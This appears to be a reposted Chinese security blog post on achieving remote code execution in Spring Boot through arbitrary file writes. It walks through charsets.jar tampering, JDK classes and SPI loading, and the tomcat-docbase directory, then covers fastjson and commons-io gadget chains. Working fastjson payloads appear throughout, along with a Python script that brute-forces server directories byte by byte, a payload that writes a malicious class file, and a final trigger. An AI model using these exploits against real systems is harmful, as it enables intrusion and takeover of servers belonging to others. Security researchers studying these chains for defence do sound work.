springboot环境下的写文件RCE

渗透技巧 21小时前 admin
24 0 0

一、    java特性加载类文件

传统的ssh key/任务计划就不说了,介绍一下已经流行开来的几种java特性加载类文件。


1,charsets.jar

LandGrey首发
https://landgrey.me/blog/22/
复现过程
https://mp.weixin.qq.com/s/HMlaMPn4LK3GMs3RvK6ZRA
也就是写

/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar


很经典了,利用jvm不会一开始就加载所有类的机制,篡改charsets.jar,然后再用各种类加载触发。
其中最方便的是

Accept: text/html;charset=IBM33722

charsets.jar编译可修改LandGrey的。注意,他把全部编码都指向IBM33722了,所以其他编码也能触发。
https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/tree/main/charsets
最终效果如下。

springboot环境下的写文件RCE

springboot环境下的写文件RCE

但charsets.jar也有着诸多缺点。
1,需root权限。不过好在现在docker/k8s横行,springboot服务大多数都是root权限。
2,charsets.jar加载仅一次机会。如果之前有用户使用过charset=GBK之类的加载过charsets.jar,不管是正常还是恶意的,该方法都会失效。如果该方式已经失效的情况下,你写的charsets.jar又不完整,还可能会导致服务挂掉。
3,完整的charsets.jar比较大,不过测试时不需要完整charsets.jar。
4,jdk目录需要猜测,需要字典。
5,仅jdk8或者以下适用。jdk9开始使用了模块化,不再存在charsets.jar

2,classes

https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/
jdk8在加载类时,还会从/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/去找这个类,因此只需要向这里写一个Evil.class,再想办法触发即可。
比如如果存在反序列化入口,可以class Evil implements Serializable,然后反序列化这个类,如果存在fastjson1.2.68入口,用如下payload触发。

{"@type":"java.lang.AutoCloseable","@type":"Evil"}

实际效果如下。

springboot环境下的写文件RCE

springboot环境下的写文件RCE

优点如下
1,多次机会写入,Evil写坏了就写Evil2/Evil3
2,写入文件不大。
缺点如下
1,需root权限。
2,jdk目录需要猜测。
3,仅jdk8或者以下适用,jdk9的ClassLoader变动,不再尝试载入该文件夹。
4,默认不存在classes目录,需要创建
5,需触发入口,不像charsets.jar那样可以header触发。

3,classes+SPI机制

https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/
这个方法解决了classes的缺点5,可以在不改动charsets.jar的情况下,利用classes/META-INF/services/java.nio.charset.spi.CharsetProvider文件指向classes/Evil.class,来完成charset=Evil触发Evil.class。

springboot环境下的写文件RCE

springboot环境下的写文件RCE

但同时它也多了一个缺点,charset=Evil第二次不会触发,需要不断变化charset=Evil111


4,tomcat-docbase

https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf
利用过程
https://github.com/luelueking/CVE-2022-25845-In-Spring
springboot会在/tmp目录生成tomcat-docbase文件夹,本质相当于tomcat的根目录,因此加载类时还会尝试加载/tmp/tomcat-docbase.8080.xx/WEB-INF/classes/目录下的类。
/tmp目录可以根据server.tomcat.basedir配置项更改。

springboot环境下的写文件RCE

手动写入后效果如下

springboot环境下的写文件RCE

优点如下
1,无需root权限
2,不限于jdk8,jdk11下测试成功
缺点如下
1,tomcat-docbase带随机后缀,无法爆破,只能配合目录读取
2,WEB-INF/classes目录需要创建
3,触发时直接Class.forName(clazz)是不行的,必须要特定classloader,比如Thread.currentThread().getContextClassLoader()。

其中缺点3可以用如下代码测试。

    @RequestMapping(value = "/classform1", method = RequestMethod.GET)    public String classform1(String clazz) {        Class clazzClass = null;        try {            clazzClass =  Class.forName(clazz, true, Thread.currentThread().getContextClassLoader());        } catch (ClassNotFoundException e) {            e.printStackTrace();        }        return "Class.forName "+clazzClass.getName();    }        @RequestMapping(value = "/classform2", method = RequestMethod.GET)    public String classform2(String clazz) {        Class clazzClass = null;        try {            clazzClass =  Class.forName(clazz);        } catch (ClassNotFoundException e) {            e.printStackTrace();        }        return "Class.forName "+clazzClass.getName();    }

然后手动写Tomcat678910cmdechoException,classfrom2报错。

springboot环境下的写文件RCE

classfrom1成功。

springboot环境下的写文件RCE

因此这个写文件RCE基本限定在了fastjson,因为fastjson是用的Thread.currentThread().getContextClassLoader()。
TypeUtils.loadClass(String, ClassLoader, boolean)    

springboot环境下的写文件RCE

readObject用的是其他的,因此不行。
ObjectInputStream.resolveClass()

springboot环境下的写文件RCE



二、    反序列化写文件实际利用

https://www.polarctf.com/#/page/challenges
这个CTF靶场的一写一个不吱声完美符合。

springboot环境下的写文件RCE

常见的文件写入链只有两个,其中FileUpload1因为年代久远不常使用,剩下一个就是Aspectjweaver链。因此Aspectjweaver链打springboot确实非常贴合实战。
Aspectjweaver链依赖commons-collections,靶场没有但是给了另外一个嫁接类。

此外还给了jdk版本方便定位jdk路径,甚至贴心的帮忙创建了JAVA_HOME/classes目录,因此打charsets.jar或者classes都可以。


三、    fastjson io链历史


1,jdk11

JDK11(或者linux版本部分jdk8)的任意文件写。
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
http://scz.617.cn:8/web/202008081723.txt
http://scz.617.cn:8/web/202008100900.txt
http://scz.617.cn:8/web/202008111715.txt

2,io1/io2

commons-io-2.x的文件写
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
缺点,只能写8kb整的文件,且写二进制文件会导致文件混乱。
如下图这是写>8kb的二进制文件效果

springboot环境下的写文件RCE

后来发现使用iso-8859-1代替UTF-8编码,可以写二进制文件,但还是只能8kb整。

springboot环境下的写文件RCE


3,io3

su18发现的类似io1的链,和io1基本一样。
https://su18.org/post/fastjson-1.2.68/

4,io_read/io4

blackhat上公开一条文件读取(列目录,SSRF)的链,但需要回显,后来被浅蓝优化,可以用dnslog和报错进行布尔判断。
https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf
https://b1ue.cn/archives/506.html

除此之外,blackhat还公开了一条依赖commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6的文件写入链。称为io4。
这条链是为了解决原版io1-3写入二进制文件会混乱。但我复现时,发现文件大小依旧固定为8kb整,也就是跟io1-3链搭配iso-8859-1编码是一样的。
360有关于这条链的复现
https://blog.noah.360.net/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/

至此我们可以发现io1-4链的缺陷,就是写文件固定大小均为8kb整。写so或者class文件时,我们需要塞入脏数据使文件大小恰好为8kb。


5,io5/io_mkdir

RainSec在io4的基础上,用anti依赖代替aspectj,于是有了io5。io5我测试下来是完美的,可以写大于8kb以上的二进制文件。
https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew

除此之外,他还发现LockableFileWriter可以创建目录的一条链。

6,fastjson1.2.80的io链

众所周知,在1.2.68版本,是靠AutoCloseable这个合法类,在fastjson1.2.80已经被ban了。
浅蓝利用fastjson高版本可以序列化Field的特性以及对Exception这个漏网之鱼的研究,在KCon公开两条可以通过Exception将InputStream加入缓存的链子,配合io1-5/io_read/io_mkdir可以打fastjson1.2.80。
https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf

7,io6/jackson+io链

浅蓝发现的ognl和xalan+dom4j依赖毕竟没用那么热门,于是利用jackson的Exception将InputStream加入缓存的链子在geekcon上公开。
https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf
其中用LockableFileWriter代替FileWriterWithEncoding,被我称为io6,可以解决io1-4链文件大小恒定8kb的问题。而且可以自动创建目录,非常契合打springboot环境。

四、    fastjson写文件实际利用

https://github.com/luelueking/CVE-2022-25845-In-Spring
依旧是非常贴合实战的思路,这里用的我自己写的靶场。

<dependency>    <groupId>commons-io</groupId>    <artifactId>commons-io</artifactId>    <version>2.7</version></dependency><dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.80</version></dependency>
    @RequestMapping(value = "/json", method = RequestMethod.POST)    public String json(String json) {        JSONObject jsonObject = null;        try {            jsonObject = JSON.parseObject(json);            return jsonObject.toJSONString();        } catch (Exception e) {            e.printStackTrace();            return "error";        }    }

先将InputStream加入缓存。

{  "a": "{    "@type": "java.lang.Exception",    "@type": "com.fasterxml.jackson.core.exc.InputCoercionException",    "p": {    }  }",  "b": {    "$ref": "$.a.a"  },  "c": "{  "@type": "com.fasterxml.jackson.core.JsonParser",  "@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser",  "in": {}}",  "d": {    "$ref": "$.c.c"  }}

springboot环境下的写文件RCE

然后使用io_read,利用回显的差异逐字爆破/tmp目录,实战中一般不会将反序列化的json对象打印出来,可以使用error的不同或者是否发起http请求作为布尔条件。
实战中为了效率,可以使用合适的byte范围,以及充分利用boms支持多个bytes做二分快速筛选。

#python2import requestsimport json
url = 'http://192.168.229.130:9999/json'#url = 'http://127.0.0.1:5667/json'def getdata(bytes): data = '''{ "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///tmp/" }, "charsetName": "UTF-8", "bufferSize": "1024" }, "boms": [ { "charsetName": "UTF-8", "bytes": ['''+bytes+'''] } ] }, "boms": [ { "charsetName": "UTF-8", "bytes": [36] } ] }, "b": {"$ref":"$.a.delegate"}}''' return dataheader = {'Content-Type':'application/json'}header = {}cookie = {}flag = ''bytes = ''for ii in range(1,1000): for i in range(0, 257): if i == 256: f = open("1.txt","w") f.write(flag) print(flag.decode('UTF-8')) exit() byte = bytes+str(i)+',' r = requests.post(url=url,data={'json':getdata(byte)},headers=header,cookies=cookie) #print(r.text) if "bytes" in r.text: bytes = bytes + str(i)+',' print(bytes) flag = flag + chr(i) break

springboot环境下的写文件RCE

爆破出tomcat-docbase目录后,用io6写入Tomcat678910cmdechoException.class文件。

{  "a": {    "@type": "java.io.InputStream",    "@type": "org.apache.commons.io.input.AutoCloseInputStream",    "in": {      "@type": "org.apache.commons.io.input.TeeInputStream",      "input": {        "@type": "org.apache.commons.io.input.CharSequenceInputStream",        "cs": {          "@type": "java.lang.String"          "xCAxFExBAxBExxxxxxxxxxxxxxxx",          "charset": "iso-8859-1",          "bufferSize": 1024        },        "branch": {          "@type": "org.apache.commons.io.output.WriterOutputStream",          "writer": {            "@type": "org.apache.commons.io.output.LockableFileWriter",            "file": "/tmp/tomcat-docbase.9999.6522870832081637972/WEB-INF/classes/Tomcat678910cmdechoException.class",            "charset": "iso-8859-1",            "append": true          },          "charsetName": "iso-8859-1",          "bufferSize": 1024,          "writeImmediately": true        },        "closeBranch": true      }    },    "b": {      "@type": "java.io.InputStream",      "@type": "org.apache.commons.io.input.ReaderInputStream",      "reader": {        "@type": "org.apache.commons.io.input.XmlStreamReader",        "inputStream": {          "$ref": "$.a"        },        "httpContentType": "text/xml",        "lenient": false,        "defaultEncoding": "iso-8859-1"      },      "charsetName": "iso-8859-1",      "bufferSize": 1024    },    "c": {      "@type": "java.io.InputStream",      "@type": "org.apache.commons.io.input.ReaderInputStream",      "reader": {        "@type": "org.apache.commons.io.input.XmlStreamReader",        "inputStream": {          "$ref": "$.a"        },        "httpContentType": "text/xml",        "lenient": false,        "defaultEncoding": "iso-8859-1"      },      "charsetName": "iso-8859-1",      "bufferSize": 1024    }  }

springboot环境下的写文件RCE

最后成功RCE

{    "@type": "java.lang.Exception",    "@type": "Tomcat678910cmdechoException"}

springboot环境下的写文件RCE

部分payload见我的github

https://github.com/kezibei/fastjson_payload

原文始发于微信公众号(珂技知识分享):springboot环境下的写文件RCE

版权声明:admin 发表于 2024年11月14日 下午2:50。
转载请注明:springboot环境下的写文件RCE | CTF导航

相关文章